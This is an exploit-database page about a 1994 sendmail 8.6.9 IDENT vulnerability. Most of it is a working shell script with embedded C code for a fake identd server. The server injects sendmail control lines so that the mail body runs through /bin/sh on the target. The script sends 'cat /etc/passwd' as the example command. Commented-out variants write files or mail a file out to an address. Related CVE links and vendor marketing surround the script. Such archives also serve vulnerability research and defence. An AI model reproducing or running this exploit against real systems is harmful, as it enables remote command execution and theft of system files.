Lucene search
+L

Sendmail 8.6.9 IDENT - Remote Command Execution

🗓️ 24 Feb 1994 00:00:00Reported by CIACType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 33 Views

Sendmail 8.6.9 vulnerability allows remote root access through the IDENT function.

Related
Code
ReporterTitlePublishedViews
Family
nessus
Tenable Nessus
Sendmail < 8.6.10 IDENT Remote Overflow
18 Aug 200400:00
nessus
nessus
Tenable Nessus
Sendmail 8.6.9 IDENT Remote Overflow
27 Aug 200200:00
nessus
cve
CVE
CVE-1999-0204
29 Sep 199904:00
cve
cvelist
Cvelist
CVE-1999-0204
29 Sep 199904:00
cvelist
euvd
EUVD
EUVD-1999-0204
7 Oct 202500:30
euvd
nvd
NVD
CVE-1999-0204
1 Jan 199705:00
nvd
ptsecurity
Positive Technologies
PT-1997-1095 · Sendmail · Sendmail
1 Jan 199700:00
ptsecurity
redhatcve
RedhatCVE
CVE-1999-0204
7 Jan 202609:38
redhatcve
source: https://www.securityfocus.com/bid/2311/info

A vulnerability in the IDENT function of sendmail 8.6.9 allows attackers to obtain remote root access. Very little other information on this vulnerability is currently available; this is an old vulnerability.


it for sm869 or worse
# identd must not be enabled (port 113 must be free)

# this must be a host that mail can go to (MX not pointing elsewhere)
# that we cant reach right now (ie. host doesnt exist anymore)
UNREACHABLE="goofy.uhcc.hawaii.edu"

# Commands to run on remote host
COMMANDS="cat /etc/passwd"

# what host to run it on
TARGET="foobar.all.net"

# work in a temp dir
TD=/tmp/.Xwork.$$
mkdir $TD
cd $TD

cat > a.c <<_END_
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

/* run body of mail through shell run as daemon */
#define REPLY "USERID : UNIX : a\nC:daemon\nR\"|sed '1,/^$/d'|/bin/sh\"\nHXxx: "

#ifdef other_possibilities
/* write to a file as daemon */
#define REPLY "USERID : UNIX : a\nC:daemon\nR/tmp/writeme\nHXxx: "
/* send back a file to someone and erase it */
#define REPLY "USERID : UNIX : a\nD/tmp/sendtome\[email protected]\nHXxx: "
#endif

readline(fd, buf, len)
char *buf;
{
    int i = 0;

    while(i < len && read(fd, &buf[i], 1) == 1 && buf[i]) {
       if(buf[i] == '\r' || buf[i] == '\n')
           break;
       i++;
    }
    buf[i] = '\0';
}

die(str)
char *str;
{
    perror(str); exit(1);
}

main()
{
    int s, s2, adlen;
    struct sockaddr_in ad;
    char buf[60];

    ad.sin_family = AF_INET;
    ad.sin_port = htons(113);
    ad.sin_addr.s_addr = INADDR_ANY;
    if((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) die("socket");
    if(bind(s, (struct sockaddr *)&ad, sizeof(ad)) == -1) die("bind");
    if(listen(s, 1) == -1) die("listen");
    adlen = sizeof(ad);
    s2 = accept(s, (struct sockaddr *)&ad, &adlen);
    if(s2 == -1) die("accept");
    printf("Connection from %s port %d\n",
        inet_ntoa(ad.sin_addr), ntohs(ad.sin_port));
    readline(s2, buf, 50);
    sprintf(buf + strlen(buf), " : %s\n", REPLY);
    write(s2, buf, strlen(buf));
}
_END_

# compile program
echo "compiling"
cc a.c -o ident
echo "running fake ident"
./ident &

# send to reomte
echo "talking to remote"
(
  sleep 1; echo "helo"
  sleep 1; echo "mail from: <dan>"
  sleep 1; echo "rcpt to: <bounce@$UNREACHABLE>"
  sleep 1; echo "data"
  echo "$COMMANDS"
  echo "."
  sleep 1; echo "quit"
  sleep 5
) | telnet $TARGET 25

# cleanup
cd /
rm -rf $TD
echo "done."

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Dec 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 210
EPSS0.08839
33